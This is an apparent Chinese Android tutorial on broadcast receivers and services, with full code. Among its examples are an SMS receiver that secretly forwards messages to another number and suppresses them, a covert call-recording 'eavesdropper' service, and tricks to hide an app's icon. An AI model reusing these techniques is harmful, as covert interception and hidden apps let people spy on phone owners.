android基礎--廣播接收者,服務

BroadcastReceiver

廣播接收者,用來接收廣播Intent。

android系統相當於一個電臺,預定義了很多廣播事件(平均2~3個廣播/s),常見的有:
* 手機開機
* sd卡掛載/卸載
* 外撥電話
* 手機重啓
* 短信到來
* 安裝和卸載廣播


實現廣播接收者的步驟
*  第1步:繼承BroadcastReceiver,並重寫onReceive()方法。

public class IncomingSMSReceiver extends BroadcastReceiver {
     @Override public void onReceive(Context context, Intent intent) {
     }
}

*  第2步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
   第1種:使用代碼進行訂閱:

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
   ----這種方式的特點是:優先級比清單文件中的高,不管是有序還是無序。且其生命週期的期限與activity相關聯,activity在,接收者就可以接收消息,頁面不在了,無法接收。
   ----需要在聲明這個廣播接收者的activity的onDestroy()方法對該接收者進行解註冊,使用方法unregisterReceiver(leiFengReceiver),否則關閉應用時會報錯。
   第2種:在AndroidManifest.xml文件中的<application>節點裏進行訂閱:
<receiver android:name=".IncomingSMSReceiver">
    <intent-filter>
         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>
   ----action就是指定要監聽的廣播/動作。
   ----清單文件中添加的receiver,無法進行導航跳轉。
               

電話攔截
攔截動作: android.intent.action.NEW_OUTGOING_CALL
需要權限: android.permission.PROCESS_OUTGOING_CALLS
public class IPCallerReceive extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  // 獲得外撥號碼
  String phoneNumber = getResultData();
  // 在前面加上ip號碼, 並設置.
  setResultData(“17951” + phoneNumber);
  }
}

詳細代碼實現:
MainActivity代碼:

import android.os.Bundle;
import android.app.Activity;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {

    private EditText etNumber;

 @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);        
        etNumber = (EditText) findViewById(R.id.et_number);
    }

    public void setting(View v) {
     String number = etNumber.getText().toString().trim();    
     SharedPreferences sp = getSharedPreferences("cx_phone", MODE_PRIVATE);
     Editor edit = sp.edit(); //獲得編輯器對象
     edit.putString("ipNum", number);
     edit.commit();    
     Toast.makeText(this, "設置成功", 0).show();
    }  
}

清單文件配置:

        <receiver android:name="com.cx.broadcast.IPCallerReceiver">
            <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
            </intent-filter>
        </receiver>

廣播接收者代碼:

public class IPCallerReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  // 取出號碼
  String number = getResultData();
  
  System.out.println("系統打電話: " + number);
  
  if(number.startsWith("010") || number.startsWith("021")) {
   // 在這裏動態的取出用戶想設置的號碼
   SharedPreferences sp = context.getSharedPreferences("cx_phone", Context.MODE_PRIVATE);
   String ipNum = sp.getString("ipNum", "");
   
   setResultData(ipNum + number);
  }
 }
}
sd卡卸載廣播
攔截動作: android.intent.action.MEDIA_UNMOUNTED
指定scheme: file
public class SDStateReceive extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {

  System.out.println("SD卡被卸載了, 無法進行下載任務.");
 }
}

短信攔截
(android 4.2 後廢除了此action)--有些型號的手機中,4.2版本以上還有這個action,但編程時,如果設置的版本在4.2以上,都沒有代碼提示。
攔截動作: android.provider.Telephony.SMS_RECEIVED
---沒有短信發送廣播,發過來的短信可被攔截,但自己手機上發送出去的短信不可被攔截(可用短信內容觀察者進行監聽)。
需要權限: android.permission.RECEIVE_SMS

代碼實現:
清單文件配置

        <receiver android:name="com.cx.broadcast.SmsFilterReceiver">
            <intent-filter android:priority="1000" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>              
            </intent-filter>
        </receiver>

廣播接收者代碼:

public class SmsFilterReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  System.out.println("接收到短信了...");
  
  // 取出短信的內容
  Bundle bundle = intent.getExtras();
  // 獲得系統接收到的短信
  Object[] objectArray = (Object[]) bundle.get("pdus");
  
  for (Object sms : objectArray) {
   byte[] smsBytes = (byte[]) sms;
   
   // 把byte數組轉換成一個短信的對象
   SmsMessage smsMessage = SmsMessage.createFromPdu(smsBytes);
   // 取出號碼
   String address = smsMessage.getOriginatingAddress();
   
   // 取出內容
   String body = smsMessage.getMessageBody();
   
   String text = "address: " + address + ", body: " + body;
   System.out.println(text);
   
   if("1386767".equals(address)) {
    // 把短信內容轉發到自己的手機上.
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(
      "5556",  // 對方的號碼
      null,  // 短信中心的號碼
      text, // 短信內容
      null, // 發送成功的回執
      null); // 接收成功的回執
    
    // 終止廣播
    abortBroadcast();
   }
  }
 }
}

開機自動啓動, 權限: 3.0以上版本必須加權限, 以下的版本可以不加,
攔截動作: android.intent.action.BOOT_COMPLETED
需要權限: android.permission.RECEIVE_BOOT_COMPLETED

安裝和卸載廣播
攔截動作:
android.intent.action.PACKAGE_ADDED
android.intent.action.PACKAGE_REMOVED
指定scheme: package

代碼實現:
清單文件配置:

        <receiver android:name="com.itheima40.broadcast.InstallReceiver">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />              
                <data android:scheme="package"/>
            </intent-filter>
        </receiver>
廣播接收者代碼
public class InstallReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  // 安裝和卸載都觸發此方法, 區分兩個廣播  
  Uri uri = intent.getData();
  
  // 取出動作, 判斷
  String action = intent.getAction();
  if("android.intent.action.PACKAGE_ADDED".equals(action)) {
   System.out.println("安裝了一個應用: " + uri);
  } else if("android.intent.action.PACKAGE_REMOVED".equals(action)) {
   System.out.println("卸載了一個應用: " + uri);
  }
 }
}
注:用intent.getData()接收哪個應用被安裝或卸載,不能用getResultData()。
    一個廣播接收者,可接收多個廣播,取出廣播的動作intent.getAction(),進行判斷並採用不同的操作。


注:創建工程時,去掉create activity中的勾,或者在清單文件中設置不寫action爲MAIN且category爲LAUNCHER的intent-filter,這樣創建的應用沒有圖標,用戶也無法啓動,只能在setting/application中看到。
這樣的應用在application中顯示的force stop按鈕是灰化的。
3.0以上版本,如果一個廣播接收者應用的force stop按鈕是灰的,那麼這個廣播接收者無法監聽到廣播;只有用戶手動啓動一次,force stop按鈕變亮,這時纔可以接收系統廣播。點擊force stop後,按鈕變灰,又接收不到廣播。3.0版本以下沒有這個問題。

清單文件中註冊的廣播接收者,只要進程啓動過一次且沒有被force stop,殺死進程後,廣播接收者仍能接收到廣播;在代碼中動態註冊的廣播接收者,殺死進程後,就收不到廣播了。


BroadcastReceiver相關API
String getResultData(),獲取廣播數據。 
void setResultData(String data),返回廣播數據。
void abortBroadcast(),Sets the flag indicating that this receiver should abort the current broadcast; only works with broadcasts sent through Context.sendOrderedBroadcast.

無序廣播和有序廣播
無序廣播不可被攔截,也就是不能使用abortBroadcast()終止該廣播。一個無序廣播有多個接收者時,接收順序是接收者在清單文件中聲明/註冊的順序。
有序廣播可以根據優先級一層層的setResultData/getResultData,或直接abortBroadcast。
廣播的優先級
優先級從-1000到1000,1000最大;相同優先級的也是先註冊的先接收。
發送廣播示例:

/**
  * 無序廣播
  * @param v
  */
 public void sendBroadcast(View v) {
  Intent intent = new Intent("com.cx.help");
  sendBroadcast(intent); // 發送一個廣播, 廣播的動作爲: com.itheima40.help
 }
 
 /**
  * 有序廣播
  * @param v
  */
 public void sendOrderBroadcast(View v) {
  Intent intent = new Intent("com.cx.songwennuan");
  sendOrderedBroadcast(
    intent, 
    null, 
    new LeiFengReceiver(), // 無論是否攔截這個有序廣播, 最終此參數指定的廣播接受者必須收到.
    null, 
    0, 
    "10000塊錢", 
    null);
 }
Context發送廣播的API介紹
abstract void sendBroadcast(Intent intent),new Intent(""), 發送無序廣播,廣播intent可任意,但要想被接收,需要在接收者的action配置中設置對應的值。
abstract void sendBroadcast(Intent intent, String receiverPermission),發送無序廣播,廣播接收者要想接收到這個廣播必須配置receiverPermission指定的權限。
abstract void sendOrderedBroadcast(Intent intent, String receiverPermission),發送有序廣播,廣播接收者需要具體指定權限才能接收廣播。
abstract void sendOrderedBroadcast(Intent intent, String receiverPermission, BroadcastReceiver resultReceiver, Handler scheduler, int initialCode, String initialData, Bundle initialExtras)
---參數resultReceiver代表無論是否攔截(abort)這個廣播,resultReceiver都會接收到這個廣播,參數initialData和initialExtras表示廣播中的初始數據。

應用程序:一組組件(activity service provider receiver)的集合。
一般情況下, 一個應用程序會對應一個進程。
一般情況,關閉掉應用,會關閉所有的界面(所有的activity)。應用程序的進程是不會被關閉的,仍然在後臺長期的運行。系統採用一組策略,自動地幫我們管理進程。

# Service 服務
- 服務是一個沒有界面的Activity.
- 長期在後臺運行, 不關乎界面的一些操作.比如: 網易新聞服務, 每隔1分鐘去服務查看是否有最新新聞.

- 進程中運行着線程, Android應用程序剛啓動都會開啓一個進程給這個程序來使用.
- Android一個應用程序把所有的界面關閉時, 進程這時還沒有被銷燬, 處於空進程狀態.
- 和Thread有點相似. 但使用Thread不安全, 不嚴謹.


- 進程的回收進制.
  五種進程, 從低到高 
 1. Foreground process 前臺進程, 如打開一個應用,這個應用就是前臺進程。用戶可以看到這個進程裏面的某一個activity的界面,可以操作這個界面。

 2. Visible process 可視進程, 可以看見, 但不可以交互.如前臺進程的頁面是透明的或對話框形式的,那後面的那個進程(比如桌面應用) 就是可視進程。

 3. Service process 服務進程

 4. Background process 後臺進程,沒有任何服務的進程,打開一個activity按home鍵/最小化鍵後,前臺進程就變成後臺進程。

 5. Empty process 空進程,當程序退出時, 進程沒有被銷燬, 而是變成了空進程。如打開一個activity後,按返回鍵,這樣一個進程中可能就只還有一個子線程在運行時就是空進程。空進程可以複用,減少進程重新創建的開銷。

 - 回收的順序: 從低到高
  - 當系統內存不夠用時, 把空進程回收了, 一個一個回收掉空進程.
  - 當系統回收所有的完空進程不夠用時, 繼續向上回收後臺進程, 依次類推.

 - 當回收: 服務, 可視, 前臺這三種進程時, 系統非必要情況下不會輕易回收, 如果需要回收掉這三隻進程, 在系統內存有夠用, 會再重新啓動進程。一鍵清理,只會關閉空進程和後臺進程

 - 服務進程如果用戶手動的關閉服務, 這時服務不會再重啓了.
    系統或自定義的服務,如果非法關閉(不是按stop按鈕關閉的),也會再自動重啓。 只要不點stop,服務會一直運行。

- 爲什麼用服務, 而不用Thread? Thread運行在空進程中, 很容易的被銷燬了. 服務不容易被銷燬, 如果非法狀態下非銷燬了, 系統會在內存夠用時, 重新啓動.

setting->application->running services,可看到android中當前所有服務。

Service類
上層繼承關係:
java.lang.Object
->android.content.Context
->android.content.ContextWrapper
->android.app.Service

--電話竊聽器(當接通電話時, 開始錄音, 掛斷電話, 停止錄音).
需要的權限:
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>

代碼實現:
電話監聽服務代碼:

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioEncoder;
import android.media.MediaRecorder.AudioSource;
import android.media.MediaRecorder.OutputFormat;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class CallListenService extends Service {

 private boolean isRecording = false;  // 是否正在錄音中
 private MediaRecorder mMediaRecorder;

 @Override
 public IBinder onBind(Intent intent) {
  return null;
 }

 @Override
 public void onCreate() {
  super.onCreate();
  System.out.println("監聽電話的服務被創建了...");
  
  // 監聽手機通話的狀態
  TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
  tm.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE); // 監聽當前手機的通話狀態
 }
 
 class MyPhoneStateListener extends PhoneStateListener {

  /**
   * 當電話的通話狀態改變時, 觸發此方法, 剛開始監聽時, 此方法會被出發一次.
   * state 手機當前的通話狀態
   * @see TelephonyManager#CALL_STATE_IDLE 空閒(掛斷)
      * @see TelephonyManager#CALL_STATE_RINGING 響鈴
      * @see TelephonyManager#CALL_STATE_OFFHOOK 摘機(接通)
   */
  @Override
  public void onCallStateChanged(int state, String incomingNumber) {
   if(state == TelephonyManager.CALL_STATE_IDLE && isRecording) {
    System.out.println("掛斷了");
    // 已經正在錄音中了, 需要停止了.
    
    // 8. 停止錄音
    mMediaRecorder.stop();
    // 9. 釋放資源
    mMediaRecorder.release();
    isRecording = false;
   } else if(state == TelephonyManager.CALL_STATE_OFFHOOK) {
    System.out.println("接通了");
    
    isRecording = true; // 當前處於正在錄音中..
    
    // 真正開始錄音
    
    // 1. 創建一個錄音器
    mMediaRecorder = new MediaRecorder();
    // 2. 設置音頻源來自麥克風. VOICE_CALL表示雙向錄音,也就是對方的聲音也能錄到,標準的android系統不支持雙向錄音 ,國內如中興、索愛的手機系統才支持。
       //MIC只能錄到自己的通話聲音,但是如果免提打開,就都可以錄到。
    mMediaRecorder.setAudioSource(AudioSource.VOICE_CALL);
    // 3. 設置輸出文件的格式
    mMediaRecorder.setOutputFormat(OutputFormat.THREE_GPP);
    // 4. 設置輸出文件的名字
    mMediaRecorder.setOutputFile("/mnt/sdcard/itheima40.3gp");
    // 5. 設置音頻編碼
    mMediaRecorder.setAudioEncoder(AudioEncoder.DEFAULT);
    try {
     // 6. 準備, 馬上要錄音了
     mMediaRecorder.prepare();
     // 7. 開始錄音
     mMediaRecorder.start();
    } catch (Exception e) {
     e.printStackTrace();
    }
   }
  }
 }
}

MainActivity代碼:

import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;

public class MainActivity extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
  Intent intent=new Intent(this,CallListenService.class);
  startService(intent);
 }
}

清單文件配置:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.cx.phonelisten"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:theme="@android:style/Theme.NoDisplay"
            android:name="com.cx.phonelisten.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
                //隱藏應用圖標
                <data android:host="AuthActivity" android:scheme="com.android.example" />
            </intent-filter>
        </activity>
        <service android:name="com.cx.phonelisten.CallListenService"></service>
    </application>
</manifest>
注: <data android:host="AuthActivity" android:scheme="com.android.example" />,將這行配置放在某個activity的<intent-filter>中,可以讓該activity/應用不在桌面顯示圖標


- 服務生命週期
  服務有2種使用方式
  - 開啓方式, 特點: 把服務啓動起來後, 就不管服務的事了.. activity和服務沒有關係,一個activity開啓的service可以在另一個activity中停止。
  - startService, 生命週期執行的過程: onCreate -> onStart/onStartCommand 服務正在運行中。
                ---服務只會被創建一次,如果服務已經創建了,並且沒有銷燬,多次調用startService的方法,只會執行onStartCommand()和onStart()方法,onCreate()不再執行。
                ---onStartCommand和onStart()方法同時存在時,先執行onStartCommand(),再執行onStart()方法。
  - stopService, 生命週期執行的過程: onDestory 服務銷燬了
  - 使用startService方式開啓的服務, 只能用stopService關閉服務.

  - 綁定方式, 特點: 生命週期與綁定它的activity相關聯。如果調用者activity被銷燬了,服務也會跟着銷燬。
  - bindService, 生命週期執行的過程: onCreate -> onBind
                  --多次綁定服務時,onBind()方法只會被執行一次,如果activity中調用了服務中的方法,onServiceConntect方法會調用多次。
  - unbindService, 生命週期執行的過程: onUnbind -> onDestory
                  服務只能被解綁一次,再次解綁會報錯,程序異常終止。
                - 如果activity銷燬(返回鍵)時,服務沒有解綁,會報如下錯誤:
                  09-14 02:53:53.302: E/ActivityThread(2321): android.app.ServiceConnectionLeaked:
                                      Activity com.cx.musicplayer.MainActivity has leaked ServiceConnection
                        
com.cx.musicplayer.MainActivity$MyConnectionService@41026fd0 that was originally bound here。

                  所以在activity退出前需要先解綁服務,一般可在activity的onDestory方法中進行服務解綁。

  - onRebind 方法, 只有在onUnbind方法返回true的情況下, 纔會被調用.

服務一般分爲兩種:
  本地服務,用於應用程序內部,在Service可以調用startService()啓動,調用stopService()結束,無論調用了多少次startService(),都只需調用一次stopService()來停止,採用startService()方法啓動服務,只能調用stopService()方法結束服務,服務結束時會調用onDestroy()方法。
  遠程服務,unbindService()關閉連接,多個客戶端可以綁定至同一個服務。用於系統內部的應用程序之間,可以定義接口並把接口暴露出來,以便其他應用進行操作,客戶端建立到服務對象的連接,並通過那個連接來調用服務,調用bindService()方法建立連接,並啓動,以調用

Activity調用Android中的服務的方法
--startService開啓的服務是android系統(框架)創建的,該方法返回值是CompontName對象,不是創建的service對象。
---由於系統框架在創建服務時候會創建與之對應的上下文,而直接用new PlayService()時創建的只是普通的對象,上下文對象並不存在。
---基於上面2點,在Activity中用開啓服務的方式無法拿到Service對象的引用,無法調用服務中的方法。
---用綁定方式時,服務被成功綁定時會調用onBind()方法,該方法返回一個activity與service間的通信通道。
使用綁定服務方式, 調用服務中的方法.
本地服務調用步驟
1. 調用bindService綁定服務, 該方法有一個參數是ServiceConnection對象。ServiceConntection是一個接口,可以監控服務,是服務與activity之間的連接橋。
   public abstract boolean bindService(Intent service,ServiceConnection conn,int flags)
   ---flags可取值是0, BIND_AUTO_CREATE, BIND_DEBUG_UNBIND, BIND_NOT_FOREGROUND, BIND_ABOVE_CLIENT, BIND_ALLOW_OOM_MANAGEMENT, or BIND_WAIVE_PRIORITY.
   一般使用BIND_AUTO_CREATE,表示如果在綁定時service還沒有開啓,就自動開啓服務,如果已經開啓了就不再開啓,直接綁定。

2. 在服務類中定義一個內部類MyBinder繼承Binder, 並且聲明一個forwardBuyTicket方法, 在此方法中可以調用服務中的buyTicket方法.
  
3. 在服務中的onBind方法中, 返回第二部定義個內部類MyBinder對象.
   onBind方法的聲明是:IBinder onBind(Intent intent),該方法在服務被成功綁定時執行。
   Binder、IBinder之間的關係:public class Binder extends Object implements IBinder
  
4. 在Activity中創建實現ServiceConnection接口的子類,實現其中的onServiceConnected方法。
 onServiceConnected方法中的參數值IBinder service就是服務中onBind()方法的返回值。
 

	class MyConnection implements ServiceConnection {

		@Override
                //在服務被成功綁定的時候調用的方法
		public void onServiceConnected(ComponentName name, IBinder service) {
			mMediaController = (MediaController) service;
		}

		@Override
                //在服務失去綁定的時候調用的方法,只有程序/進程異常終止時候才調用,如果是正常關閉服務,該方法不會被調用。
		public void onServiceDisconnected(ComponentName name) {
			
		}		
	}
一般需要定義一個IBinder對象作爲Activity的成員,該成員就在onServiceConnected方法進行賦值,然後整個activity中就可以使用這個IBinder對象。

5. 得到服務中內部類實例, 調用這個實例中的方法forwardBuyTicket. 此方法會轉調服務中買票的方法buyTicket.

---採用這種方式,可以在IBander中只調用service的一部分方法,將需要暴露的方法暴露出來,而不是直接暴露出整個service對象,這樣後臺服務不會被輕易打斷,更安全。
---綁定方式時,服務隨着activity的銷燬而銷燬,不能長期運行在後臺,要想長期使用服務,調用服務中的方法,應該先用開啓方式開啓服務,然後再綁定服務。服務不再使用時用stopService()方法關閉。
   正確的完整流程如下:
   1)開啓服務,startService()
   2) 綁定服務,bindService()
   3) 關閉程序,調用者退出,服務被解綁。
   4)停止服務,stopService().
---實際開發中,自定義的IBinder對象也應該只對外暴露其中的一部分方法,IBinder子類應該定義成私有內部類,再定義一個ISerivce接口,讓IBinder實現該接口,這樣service中onBind()中也只返回IService對象,辦有Iservice中的方法是被暴露。

調用本地服務的完整示例:
IService接口:

package com.cx.musicplayer;

public interface IService {
 public void forwardPlay();
 public void forwardPause();
}

播放服務代碼:

package com.cx.musicplayer;

import android.app.Service;
import android.content.Intent;
import android.media.MediaPlayer;
import android.os.Binder;
import android.os.IBinder;

public class PlayService extends Service {
 private MediaPlayer mMediaPlayer; 
 @Override
 public void onCreate() {
  super.onCreate();
  System.out.println("MediaService onCreate");
  mMediaPlayer = MediaPlayer.create(this, R.raw.bgmusic);
 }

 @Override
 public IBinder onBind(Intent intent) {
  System.out.println("MediaService onBind");
  return new MediaController();
 }
 
 /**
  * @author andong
  * 媒體控制器
  */
 //定義MediaController爲私有
 private class MediaController extends Binder implements IService{

  /**
   * 轉調服務中的播放方法
   */
  public void forwardPlay() {
   System.out.println("MediaController forwardPlay");
   play();
  }

  /**
   * 轉調服務中的暫停方法
   */
  public void forwardPause() {
   System.out.println("MediaController forwardPause");
   pause();
  }
  
 }

  /**
   * 播放音樂
   */
  public void play() {
   System.out.println("MediaService play");
   mMediaPlayer.start();
  }
 
  /**
   * 暫停音樂
   */
  public void pause() {
   System.out.println("MediaService pause");
   mMediaPlayer.pause();
  }
}

MainActivity代碼:

package com.cx.musicplayer;

import android.os.Bundle;
import android.os.IBinder;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.view.Menu;
import android.view.View;

public class MainActivity extends Activity {

 //MediaController不私有,不能再使用,需要使用接口。
 private IService mMediaController;
 private MyConnectionService conn;
 
 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
  Intent intent=new Intent(this, PlayService.class);
  conn=new MyConnectionService();
  bindService(intent,conn,Context.BIND_AUTO_CREATE);
 } 
 @Override
 protected void onDestroy() {
  super.onDestroy();
  Intent intent=new Intent(this, PlayService.class);
  stopService(intent);
 }
 public class MyConnectionService implements ServiceConnection{

  @Override
  public void onServiceConnected(ComponentName name, IBinder service) {
   //使用ISerivce對返回的IBinder對象進行強轉。
   mMediaController=(IService) service;
  }
  @Override
  public void onServiceDisconnected(ComponentName name) {
   
  }  
 }
 
 public void startPlay(View v){
  mMediaController.forwardPlay();
 }
 
 public void pausePlay(View v){
  mMediaController.forwardPause();
 }
 public void jump(View v){
  Intent intent=new Intent(this,AnotherActivity.class);
  startActivity(intent);
 }

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
  // Inflate the menu; this adds items to the action bar if it is present.
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
 }
}

佈局文件:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" 
    android:layout_margin="10dip">
    
    <ImageButton 
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"  
        android:src="@drawable/start"
        android:padding="0dip"
        android:onClick="startPlay"/>
    
  <ImageButton 
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"  
        android:src="@drawable/pause"
        android:padding="0dip"
        android:onClick="pausePlay"/>
    <ImageButton 
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"  
        android:src="@drawable/jump"
        android:padding="0dip"
        android:onClick="jump"/>

</LinearLayout>

清單文件配置:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.cx.musicplayer"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.cx.musicplayer.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="com.cx.musicplayer.PlayService"></service>
    </application>
</manifest>

遠程服務調用
因爲服務中的MediaController類,在另一個工程的Activity中看不到,不能直接在onServiceConnected中獲取並強轉,所以需要使用進程間通信IPC((intel-process communication)機制。
Android使用一種接口定義語言AIDL(Android Interface Definition Language)來公開服務的接口的方式來暴露服務接口,AIDL中不能有任何修飾符。

步驟:
- 寫服務類
1. 定義一個接口文件, 聲明一個方法forwardPayMoney方法, 把後綴名修改爲.aidl, 並且把修飾詞去掉.
   ---系統會自動在gen目錄下生成這個接口的java文件,並自動生成一個抽象內部類stub,stub繼承了Binder並實現了服務接口:
   public interface AlipayRemoteService extends android.os.IInterface
   {
       /** Local-side IPC implementation stub class. */
       public static abstract class Stub extends android.os.Binder implements com.itheima40.alipayservice.AlipayRemoteService
    }
2. 在服務中定義一個內部類MyBinder, 繼承Stub類, 並且把抽象方法forwardPayMoney實現了.
3. 在onBind方法中把第二部定義的內部類對象MyBinder返回.
4. Activity中綁定服務, 傳遞過去一個連接橋對象.
5. 把服務程序中的aidl文件拷貝當前工程中, 包名要保留一致.
6. 在連接橋對象中的onServiceConnected方法中, 把IBinder對象轉換成aidl接口對象
   mAlipayRemoteService = Stub.asInterface(service); asInterface方法聲明如下:
   public static com.itheima40.alipayservice.AlipayRemoteService asInterface(android.os.IBinder obj)
7. 使用aidl接口對象, 調用接口中的抽象方法, 實際上會調用到遠程服務中內部類中的forwardPayMoney方法.

調用服務中方法的另一種方式
BroadcastReceiver可以在java代碼中進行註冊,如果在Service類註冊了一個廣播接收者,那麼就可以在廣播接收者的onReceive()方法中調用服務中的方法.


- 播放聲音
 // 得到播放器實例對象
 MediaPlayer mMediaPlayer = MediaPlayer.create(this, R.raw.bgmusic);
 // 開始播放
 mMediaPlayer.start();

android媒體配置,設置屬性時,一般屬性也都是一個類,裏面的靜態常量作爲屬性值。
setAudioSource(AudioSource.MIC),麥克風

應用中自帶媒體,在res下創建raw文件,R文件會自動生成R.raw.xx。

如果去掉<category android:name=”android.intent.category.LAUNCHER” />,就表示app沒有啓動入口了,這樣子確實是解決了不顯示圖標的效果,但是那樣的話我們的應用也運行不了了。

默認優先級是?

橫屏配置:
android:screenOrientation="landscape"
全屏配置:
android:theme="@android:style/Theme.NoTitleBar.Fullscreen",屏幕背景變黑

xml文件中註釋快捷鍵
格式化快捷鍵

四大組件之間是通過Intent進行聯繫。

adb logcat,會打印所有日誌,但是沒有顏色,也不能過濾

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章